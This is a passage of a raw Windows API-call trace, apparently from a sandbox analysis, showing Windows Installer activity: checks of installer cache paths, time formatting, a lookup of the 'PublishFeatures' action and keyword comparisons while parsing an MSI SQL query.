(lpFileName="C:\\Windows\\Installer" (normalized: "c:\\windows\\installer")) returned 0x16 [0149.685] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cddd0, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0149.685] lstrlenW (lpString="C:\\Windows") returned 10 [0149.685] UrlIsW (pszUrl="C:\\Windows\\Installer", UrlIs=0x0) returned 0 [0149.685] lstrlenW (lpString="C:\\Windows\\Installer") returned 20 [0149.685] wcsstr (_Str="\\Windows\\Installer", _SubStr="\\\\") returned 0x0 [0149.685] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0149.685] GetFileAttributesW (lpFileName="C:\\Windows\\Installer" (normalized: "c:\\windows\\installer")) returned 0x16 [0149.686] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cdd30, uSize=0x102 | out: lpBuffer="C:\\Windows") returned 0xa [0149.686] lstrlenW (lpString="C:\\Windows\\Installer\\$PatchCache$\\Managed") returned 41 [0149.686] UrlIsW (pszUrl="C:\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04", UrlIs=0x0) returned 0 [0149.686] lstrlenW (lpString="C:\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04") returned 74 [0149.686] wcsstr (_Str="\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04", _SubStr="\\\\") returned 0x0 [0149.686] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0149.686] GetFileAttributesW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\8f3854ca4966e374bb7723dccfb99a04")) returned 0xffffffff [0149.686] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\8f3854ca4966e374bb7723dccfb99a04"), fInfoLevelId=0x0, lpFileInformation=0x10cdec0 | out: lpFileInformation=0x10cdec0*(dwFileAttributes=0x10cdf40, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0xf791c1fd, ftLastAccessTime.dwLowDateTime=0x7fe, ftLastAccessTime.dwHighDateTime=0x10ce060, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x10ce198, nFileSizeHigh=0x0, nFileSizeLow=0x2be7100)) returned 0 [0149.686] GetLastError () returned 0x2 [0149.686] GetLastError () returned 0x2 [0149.686] _vsnwprintf (in: _Buffer=0x10ce150, _BufferCount=0xb, _Format="%d", _ArgList=0x10ce148 | out: _Buffer="3969") returned 4 [0149.686] lstrlenW (lpString="3969") returned 4 [0149.686] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.687] memcpy (in: _Dst=0x37b05cb, _Src=0x10cdb98, _Size=0x2 | out: _Dst=0x37b05cb) returned 0x37b05cb [0149.687] _vsnwprintf (in: _Buffer=0x10ce188, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce178 | out: _Buffer="1") returned 1 [0149.688] lstrlenW (lpString="1") returned 1 [0149.688] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.688] memcpy (in: _Dst=0x37b064e, _Src=0x10cdb98, _Size=0x2 | out: _Dst=0x37b064e) returned 0x37b064e [0149.689] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x34b)) [0149.689] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.689] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x34b)) [0149.689] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.689] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x34b)) [0149.689] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.689] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0149.689] memcpy (in: _Dst=0x29f80ca, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x29f80ca) returned 0x29f80ca [0149.689] memcpy (in: _Dst=0x29f80da, _Src=0x34b0e6, _Size=0x4 | out: _Dst=0x29f80da) returned 0x29f80da [0149.689] memcpy (in: _Dst=0x29f80de, _Src=0x34b0ec, _Size=0x2 | out: _Dst=0x29f80de) returned 0x29f80de [0149.689] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.690] lstrcmpW (lpString1="Advertise", lpString2="PublishFeatures") returned -1 [0149.690] lstrcmpW (lpString1="AllocateRegistrySpace", lpString2="PublishFeatures") returned -1 [0149.690] lstrcmpW (lpString1="AppSearch", lpString2="PublishFeatures") returned -1 [0149.690] lstrcmpW (lpString1="BindImage", lpString2="PublishFeatures") returned -1 [0149.690] lstrcmpW (lpString1="CCPSearch", lpString2="PublishFeatures") returned -1 [0149.691] lstrcmpW (lpString1="CostFinalize", lpString2="PublishFeatures") returned -1 [0149.691] lstrcmpW (lpString1="CostInitialize", lpString2="PublishFeatures") returned -1 [0149.691] lstrcmpW (lpString1="CreateFolders", lpString2="PublishFeatures") returned -1 [0149.691] lstrcmpW (lpString1="CreateShortcuts", lpString2="PublishFeatures") returned -1 [0149.691] lstrcmpW (lpString1="DeleteServices", lpString2="PublishFeatures") returned -1 [0149.691] lstrcmpW (lpString1="DuplicateFiles", lpString2="PublishFeatures") returned -1 [0149.691] lstrcmpW (lpString1="FileCost", lpString2="PublishFeatures") returned -1 [0149.691] lstrcmpW (lpString1="FindRelatedProducts", lpString2="PublishFeatures") returned -1 [0149.691] lstrcmpW (lpString1="GenerateScript", lpString2="PublishFeatures") returned -1 [0149.691] lstrcmpW (lpString1="InstallAdminPackage", lpString2="PublishFeatures") returned -1 [0149.691] lstrcmpW (lpString1="InstallFiles", lpString2="PublishFeatures") returned -1 [0149.691] lstrcmpW (lpString1="InstallODBC", lpString2="PublishFeatures") returned -1 [0149.691] lstrcmpW (lpString1="InstallServices", lpString2="PublishFeatures") returned -1 [0149.691] lstrcmpW (lpString1="InstallSFPCatalogFile", lpString2="PublishFeatures") returned -1 [0149.691] lstrcmpW (lpString1="InstallValidate", lpString2="PublishFeatures") returned -1 [0149.691] lstrcmpW (lpString1="LaunchConditions", lpString2="PublishFeatures") returned -1 [0149.691] lstrcmpW (lpString1="MigrateFeatureStates", lpString2="PublishFeatures") returned -1 [0149.691] lstrcmpW (lpString1="MoveFiles", lpString2="PublishFeatures") returned -1 [0149.691] lstrcmpW (lpString1="MsiPublishAssemblies", lpString2="PublishFeatures") returned -1 [0149.691] lstrcmpW (lpString1="MsiUnpublishAssemblies", lpString2="PublishFeatures") returned -1 [0149.691] lstrcmpW (lpString1="PatchFiles", lpString2="PublishFeatures") returned -1 [0149.691] lstrcmpW (lpString1="ProcessComponents", lpString2="PublishFeatures") returned -1 [0149.691] lstrcmpW (lpString1="PublishComponents", lpString2="PublishFeatures") returned -1 [0149.691] lstrcmpW (lpString1="PublishFeatures", lpString2="PublishFeatures") returned 0 [0149.691] lstrlenW (lpString="ProductLanguage") returned 15 [0149.692] FormatMessageW (in: dwFlags=0x800, lpSource=0xc20002, dwMessageId=0x754d, dwLanguageId=0x409, lpBuffer=0x10ce530, nSize=0x100, Arguments=0x0 | out: lpBuffer="Publishing Product Features\x09Feature: [1]\r\n") returned 0x2a [0149.693] lstrlenW (lpString="Feature: [1]") returned 12 [0149.693] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x35b)) [0149.693] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.693] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x35b)) [0149.693] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.693] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x35b)) [0149.693] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.693] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0149.693] memcpy (in: _Dst=0x29f80be, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x29f80be) returned 0x29f80be [0149.693] memcpy (in: _Dst=0x29f80ce, _Src=0x2104b8a, _Size=0x4 | out: _Dst=0x29f80ce) returned 0x29f80ce [0149.693] memcpy (in: _Dst=0x29f80d2, _Src=0x2104b90, _Size=0x2 | out: _Dst=0x29f80d2) returned 0x29f80d2 [0149.693] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.695] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x35b)) [0149.695] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.695] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x35b)) [0149.695] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.695] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x35b)) [0149.695] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.695] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0149.695] memcpy (in: _Dst=0x29f80ca, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x29f80ca) returned 0x29f80ca [0149.695] memcpy (in: _Dst=0x29f80da, _Src=0x376446, _Size=0x4 | out: _Dst=0x29f80da) returned 0x29f80da [0149.695] memcpy (in: _Dst=0x29f80de, _Src=0x37644c, _Size=0x2 | out: _Dst=0x29f80de) returned 0x29f80de [0149.695] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.697] GlobalLock (hMem=0xf40228) returned 0x3cc0f0 [0149.698] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0149.698] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.698] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.698] lstrlenW (lpString="Feature") returned 7 [0149.698] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0149.698] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0149.698] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0149.698] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0149.698] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0149.698] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0149.698] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0149.698] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0149.698] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0149.698] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0149.698] lstrcmpiW (lpString1="SELECT", lpString2="1") returned 1 [0149.699] lstrcmpiW (lpString1="FROM", lpString2="1") returned 1 [0149.699] lstrcmpiW (lpString1="AS", lpString2="1") returned 1 [0149.699] lstrcmpiW (lpString1="WHERE", lpString2="1") returned 1 [0149.699] lstrcmpiW (lpString1="NULL", lpString2="1") returned 1 [0149.699] lstrcmpiW (lpString1="OR", lpString2="1") returned 1 [0149.699] lstrcmpiW (lpString1="AND", lpString2="1") returned 1 [0149.699] lstrcmpiW (lpString1="NOT", lpString2="1") returned 1 [0149.699] lstrcmpiW (lpString1="ORDER", lpString2="1") returned 1 [0149.699] lstrcmpiW (lpString1="BY", lpString2="1") returned 1 [0149.699] lstrcmpiW (lpString1="DISTINCT", lpString2="1") returned 1 [0149.699] lstrcmpiW (lpString1="UPDATE", lpString2="1") returned 1 [0149.699] lstrcmpiW (lpString1="DELETE", lpString2="1") returned 1 [0149.699] lstrcmpiW (lpString1="INSERT", lpString2="1") returned 1 [0149.699] lstrcmpiW (lpString1="INTO", lpString2="1") returned 1 [0149.699] lstrcmpiW (lpString1="SET", lpString2="1") returned 1 [0149.699] lstrcmpiW (lpString1="VALUES", lpString2="1") returned 1 [0149.699] lstrcmpiW (lpString1="IS", lpString2="1") returned 1 [0149.699] lstrcmpiW (lpString1="CREATE", lpString2="1") returned 1 [0149.699] lstrcmpiW (lpString1="DROP", lpString2="1") returned 1 [0149.699] lstrcmpiW (lpString1="ALTER", lpString2="1") returned 1 [0149.699] lstrcmpiW (lpString1="TABLE", lpString2="1") returned 1 [0149.699] lstrcmpiW (lpString1="ADD", lpString2="1") returned 1 [0149.699] lstrcmpiW (lpString1="PRIMARY", lpString2="1") returned 1 [0149.699] lstrcmpiW (lpString1="KEY", lpString2="1") returned 1 [0149.699] lstrcmpiW (lpString1="CHAR", lpString2="1") returned 1 [0149.699] lstrcmpiW (lpString1="CHARACTER", lpString2="1") returned 1 [0149.699] lstrcmpiW (lpString1="VARCHAR", lpString2="1") returned 1 [0149.699] lstrcmpiW (lpString1="LONGCHAR", lpString2="1") returned 1 [0149.699] lstrcmpiW (lpString1="INT", lpString2="1") returned 1 [0149.700] lstrcmpiW (lpString1="INTEGER", lpString2="1") returned 1 [0149.700] lstrcmpiW (lpString1="SHORT", lpString2="1") returned 1 [0149.700] lstrcmpiW (lpString1="LONG", lpString2="1") returned 1 [0149.700] lstrcmpiW (lpString1="OBJECT", lpString2="1") returned 1 [0149.700] lstrcmpiW (lpString1="TEMPORARY", lpString2="1") returned 1 [0149.700] lstrcmpiW (lpString1="HOLD", lpString2="1") returned 1 [0149.700] lstrcmpiW (lpString1="FREE", lpString2="1") returned 1 [0149.700] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="1") returned 1 [0149.700] lstrcmpiW (lpString1="", lpString2="1") returned -1 [0149.700] lstrcmpiW (lpString1="SELECT", lpString2="OR") returned 1 [0149.700] lstrcmpiW (lpString1="FROM", lpString2="OR") returned -1 [0149.700] lstrcmpiW (lpString1="AS", lpString2="OR") returned -1 [0149.700] lstrcmpiW (lpString1="WHERE", lpString2="OR") returned 1 [0149.700] lstrcmpiW (lpString1="NULL", lpString2="OR") returned -1 [0149.700] lstrcmpiW (lpString1="OR", lpString2="OR") returned 0 [0149.700] lstrcmpiW (lpString1="SELECT", lpString2="2") returned 1 [0149.700] lstrcmpiW (lpString1="FROM", lpString2="2") returned 1 [0149.700] lstrcmpiW (lpString1="AS", lpString2="2") returned 1 [0149.700] lstrcmpiW (lpString1="WHERE", lpString2="2") returned 1 [0149.700] lstrcmpiW (lpString1="NULL", lpString2="2") returned 1 [0149.700] lstrcmpiW (lpString1="OR", lpString2="2") returned 1 [0149.700] lstrcmpiW (lpString1="AND", lpString2="2") returned 1 [0149.700] lstrcmpiW (lpString1="NOT", lpString2="2") returned 1 [0149.700] lstrcmpiW (lpString1="ORDER", lpString2="2") returned 1 [0149.700] lstrcmpiW (lpString1="BY", lpString2="2") returned 1 [0149.700] lstrcmpiW (lpString1="DISTINCT", lpString2="2") returned 1 [0149.700] lstrcmpiW (lpString1="UPDATE", lpString2="2") returned 1 [0149.701] lstrcmpiW (lpString1="DELETE", lpString2="2") returned 1 [0149.701] lstrcmpiW (lpString1="INSERT", lpString2="2") returned 1 [0149.701] lstrcmpiW (lpString1="INTO", lpString2="2") returned 1 [0149.701] lstrcmpiW (lpString1="SET", lpString2="2") returned 1 [0149.701] lstrcmpiW (lpString1="VALUES", lpString2="2") returned 1 [0149.701] lstrcmpiW (lpString1="IS", lpString2="2") returned 1 [0149.701] lstrcmpiW (lpString1="CREATE", lpString2="2") returned 1 [0149.701] lstrcmpiW (lpString1="DROP", lpString2="2") returned 1 [0149.701] lstrcmpiW (lpString1="ALTER", lpString2="2") returned 1 [0149.701] lstrcmpiW (lpString1="TABLE", lpString2="2") returned 1 [0149.701] lstrcmpiW (lpString1="ADD", lpString2="2") returned 1 [0149.701] lstrcmpiW (lpString1="PRIMARY", lpString2="2") returned 1 [0149.701] lstrcmpiW (lpString1="KEY", lpString2="2") returned 1 [0149.701] lstrcmpiW (lpString1="CHAR", lpString2="2") returned 1 [0149.701] lstrcmpiW (lpString1="CHARACTER", lpString2="2") returned 1 [0149.701] lstrcmpiW (lpString1="VARCHAR", lpString2="2") returned 1 [0149.701] lstrcmpiW (lpString1="LONGCHAR", lpString2="2") returned 1 [0149.701] lstrcmpiW (lpString1="INT", lpString2="2") returned 1 [0149.701] lstrcmpiW (lpString1="INTEGER", lpString2="2") returned 1 [0149.701] lstrcmpiW (lpString1="SHORT", lpString2="2") returned 1 [0149.701] lstrcmpiW (lpString1="LONG", lpString2="2") returned 1 [0149.701] lstrcmpiW (lpString1="OBJECT", lpString2="2") returned 1 [0149.701] lstrcmpiW (lpString1="TEMPORARY", lpString2="2") returned 1 [0149.701] lstrcmpiW (lpString1="HOLD", lpString2="2") returned 1 [0149.701] lstrcmpiW (lpString1="FREE", lpString2="2") returned 1 [0149.701] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="2") returned 1 [0149.701] lstrcmpiW (lpString1="", lpString2="2") returned -1 [0149.701] lstrcmpiW (lpString1="SELECT", lpString2="OR") returned 1 [0149.701] lstrcmpiW (lpString1="FROM", lpString2="OR") returned -1 [0149.701] lstrcmpiW (lpString1="AS", lpString2="OR") returned -1 [0149.701] lstrcmpiW (lpString1="WHERE", lpString2="OR") returned 1 [0149.701] lstrcmpiW (lpString1="NULL", lpString2="OR") returned -1 [0149.702] lstrcmpiW (lpString1="OR", lpString2="OR") returned 0 [0149.702] lstrcmpiW (lpString1="SELECT", lpString2="4") returned 1 [0149.702] lstrcmpiW (lpString1="FROM", lpString2="4") returned 1 [0149.702] lstrcmpiW (lpString1="AS", lpString2="4") returned 1 [0149.702] lstrcmpiW (lpString1="WHERE", lpString2="4") returned 1 [0149.702] lstrcmpiW (lpString1="NULL", lpString2="4") returned 1 [0149.702] lstrcmpiW (lpString1="OR", lpString2="4") returned 1 [0149.702] lstrcmpiW (lpString1="AND", lpString2="4") returned 1 [0149.702] lstrcmpiW (lpString1="NOT", lpString2="4") returned 1 [0149.702] lstrcmpiW (lpString1="ORDER", lpString2="4") returned 1 [0149.702] lstrcmpiW (lpString1="BY", lpString2="4") returned 1 [0149.702] lstrcmpiW (lpString1="DISTINCT", lpString2="4") returned 1 [0149.702] lstrcmpiW (lpString1="UPDATE", lpString2="4") returned 1 [0149.702] lstrcmpiW (lpString1="DELETE", lpString2="4") returned 1 [0149.702] lstrcmpiW (lpString1="INSERT", lpString2="4") returned 1 [0149.702] lstrcmpiW (lpString1="INTO", lpString2="4") returned 1 [0149.702] lstrcmpiW (lpString1="SET", lpString2="4") returned 1 [0149.702] lstrcmpiW (lpString1="VALUES", lpString2="4") returned 1 [0149.702] lstrcmpiW (lpString1="IS", lpString2="4") returned 1 [0149.702] lstrcmpiW (lpString1="CREATE", lpString2="4") returned 1 [0149.702] lstrcmpiW (lpString1="DROP", lpString2="4") returned 1 [0149.702] lstrcmpiW (lpString1="ALTER", lpString2="4") returned 1 [0149.702] lstrcmpiW (lpString1="TABLE", lpString2="4") returned 1 [0149.702] lstrcmpiW (lpString1="ADD", lpString2="4") returned 1 [0149.702] lstrcmpiW (lpString1="PRIMARY", lpString2="4") returned 1 [0149.702] lstrcmpiW (lpString1="KEY", lpString2="4") returned 1 [0149.702] lstrcmpiW (lpString1="CHAR", lpString2="4") returned 1 [0149.702] lstrcmpiW (lpString1="CHARACTER", lpString2="4") returned 1 [0149.702] lstrcmpiW (lpString1="VARCHAR", lpString2="4") returned 1 [0149.702] lstrcmpiW (lpString1="LONGCHAR", lpString2="4") returned 1 [0149.703] lstrcmpiW (lpString1="INT", lpString2="4") returned 1 [0149.703] lstrcmpiW (lpString1="INTEGER", lpString2="4") returned 1 [0149.703] lstrcmpiW (lpString1="SHORT", lpString2="4") returned 1 [0149.703] lstrcmpiW (lpString1="LONG", lpString2="4") returned 1 [0149.703] lstrcmpiW (lpString1="OBJECT", lpString2="4") returned 1 [0149.703] lstrcmpiW (lpString1="TEMPORARY", lpString2="4") returned 1 [0149.703] lstrcmpiW (lpString1="HOLD", lpString2="4") returned 1 [0149.703] lstrcmpiW (lpString1="FREE", lpString2="4") returned 1 [0149.703] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="4") returned 1 [0149.703] lstrcmpiW (lpString1="", lpString2="4") returned -1 [0149.703] lstrcmpiW (lpString1="SELECT", lpString2="AND") returned 1 [0149.703] lstrcmpiW (lpString1="FROM", lpString2="AND") returned 1 [0149.703] lstrcmpiW (lpString1="AS", lpString2="AND") returned 1 [0149.703] lstrcmpiW (lpString1="WHERE", lpString2="AND") returned 1 [0149.703] lstrcmpiW (lpString1="NULL", lpString2="AND") returned 1 [0149.703] lstrcmpiW (lpString1="OR", lpString2="AND") returned 1 [0149.703] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0149.703] lstrcmpiW (lpString1="SELECT", lpString2="0") returned 1 [0149.703] lstrcmpiW (lpString1="FROM", lpString2="0") returned 1 [0149.703] lstrcmpiW (lpString1="AS", lpString2="0") returned 1 [0149.703] lstrcmpiW (lpString1="WHERE", lpString2="0") returned 1 [0149.703] lstrcmpiW (lpString1="NULL", lpString2="0") returned 1 [0149.703] lstrcmpiW (lpString1="OR", lpString2="0") returned 1 [0149.703] lstrcmpiW (lpString1="AND", lpString2="0") returned 1 [0149.703] lstrcmpiW (lpString1="NOT", lpString2="0") returned 1 [0149.703] lstrcmpiW (lpString1="ORDER", lpString2="0") returned 1 [0149.703] lstrcmpiW (lpString1="BY", lpString2="0") returned 1 [0149.703] lstrcmpiW (lpString1="DISTINCT", lpString2="0") returned 1 [0149.703] lstrcmpiW (lpString1="UPDATE", lpString2="0") returned 1 [0149.703] lstrcmpiW (lpString1="DELETE", lpString2="0") returned 1 [0149.703] lstrcmpiW (lpString1="INSERT", lpString2="0") returned 1 [0149.703] lstrcmpiW (lpString1="INTO", lpString2="0") returned 1 [0149.703] lstrcmpiW (lpString1="SET", lpString2="0") returned 1 [0149.704] lstrcmpiW (lpString1="VALUES", lpString2="0") returned 1 [0149.704] lstrcmpiW (lpString1="IS", lpString2="0") returned 1 [0149.704] lstrcmpiW (lpString1="CREATE", lpString2="0") returned 1 [0149.704] lstrcmpiW (lpString1="DROP", lpString2="0") returned 1 [0149.704] lstrcmpiW (lpString1="ALTER", lpString2="0") returned 1 [0149.704] lstrcmpiW (lpString1="TABLE", lpString2="0") returned 1 [0149.704] lstrcmpiW (lpString1="ADD", lpString2="0") returned 1 [0149.704] lstrcmpiW (lpString1="PRIMARY", lpString2="0") returned 1 [0149.704] lstrcmpiW (lpString1="KEY", lpString2="0") returned 1 [0149.704] lstrcmpiW (lpString1="CHAR", lpString2="0") returned 1 [0149.704] lstrcmpiW (lpString1="CHARACTER", lpString2="0") returned 1 [0149.704] lstrcmpiW (lpString1="VARCHAR", lpString2="0") returned 1 [0149.704] lstrcmpiW (lpString1="LONGCHAR", lpString2="0") returned 1 [0149.704] lstrcmpiW (lpString1="INT", lpString2="0") returned 1 [0149.704] lstrcmpiW (lpString1="INTEGER", lpString2="0") returned 1 [0149.704] lstrcmpiW (lpString1="SHORT", lpString2="0") returned 1 [0149.704] lstrcmpiW (lpString1="LONG", lpString2="0") returned 1 [0149.704] lstrcmpiW (lpString1="OBJECT", lpString2="0") returned 1 [0149.704] lstrcmpiW (lpString1="TEMPORARY", lpString2="0") returned 1 [0149.704] lstrcmpiW (lpString1="HOLD", lpString2="0") returned 1 [0149.704] lstrcmpiW (lpString1="FREE", lpString2="0") returned 1 [0149.704] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="0") returned 1 [0149.704] lstrcmpiW (lpString1="", lpString2="0") returned -1 [0149.704] lstrcmpiW (lpString1="SELECT", lpString2="OR") returned 1 [0149.704] lstrcmpiW (lpString1="FROM", lpString2="OR") returned -1 [0149.704] lstrcmpiW (lpString1="AS", lpString2="OR") returned -1 [0149.704] lstrcmpiW (lpString1="WHERE", lpString2="OR") returned 1 [0149.704] lstrcmpiW (lpString1="NULL", lpString2="OR") returned -1 [0149.704] lstrcmpiW (lpString1="OR", lpString2="OR") returned 0 [0149.704] lstrcmpiW (lpString1="SELECT", lpString2="3") returned 1 [0149.705] lstrcmpiW (lpString1="FROM", lpString2="3") returned 1 [0149.705] lstrcmpiW (lpString1="AS", lpString2="3") returned 1 [0149.705] lstrcmpiW (lpString1="WHERE", lpString2="3") returned 1 [0149.705] lstrcmpiW (lpString1="NULL", lpString2="3") returned 1 [0149.705] lstrcmpiW (lpString1="OR", lpString2="3") returned 1 [0149.705] lstrcmpiW (lpString1="AND", lpString2="3") returned 1 [0149.705] lstrcmpiW (lpString1="NOT", lpString2="3") returned 1 [0149.705] lstrcmpiW (lpString1="ORDER", lpString2="3") returned 1 [0149.705] lstrcmpiW (lpString1="BY", lpString2="3") returned 1 [0149.705] lstrcmpiW (lpString1="DISTINCT", lpString2="3") returned 1 [0149.705] lstrcmpiW (lpString1="UPDATE", lpString2="3") returned 1 [0149.705] lstrcmpiW (lpString1="DELETE", lpString2="3") returned 1 [0149.705] lstrcmpiW (lpString1="INSERT", lpString2="3") returned 1 [0149.705] lstrcmpiW (lpString1="INTO", lpString2="3") returned 1 [0149.705] lstrcmpiW (lpString1="SET", lpString2="3") returned 1 [0149.705] lstrcmpiW (lpString1="VALUES", lpString2="3") returned 1 [0149.705] lstrcmpiW (lpString1="IS", lpString2="3") returned 1 [0149.705] lstrcmpiW (lpString1="CREATE", lpString2="3") returned 1 [0149.705] lstrcmpiW (lpString1="DROP", lpString2="3") returned 1 [0149.705] lstrcmpiW (lpString1="ALTER", lpString2="3") returned 1 [0149.705] lstrcmpiW (lpString1="TABLE", lpString2="3") returned 1 [0149.705] lstrcmpiW (lpString1="ADD", lpString2="3") returned 1 [0149.705] lstrcmpiW (lpString1="PRIMARY", lpString2="3") returned 1 [0149.705] lstrcmpiW (lpString1="KEY", lpString2="3") returned 1 [0149.705] lstrcmpiW (lpString1="CHAR", lpString2="3") returned 1 [0149.705] lstrcmpiW (lpString1="CHARACTER", lpString2="3") returned 1 [0149.705] lstrcmpiW (lpString1="VARCHAR", lpString2="3") returned 1 [0149.705] lstrcmpiW (lpString1="LONGCHAR", lpString2="3") returned 1 [0149.705] lstrcmpiW (lpString1="INT", lpString2="3") returned 1 [0149.706] lstrcmpiW 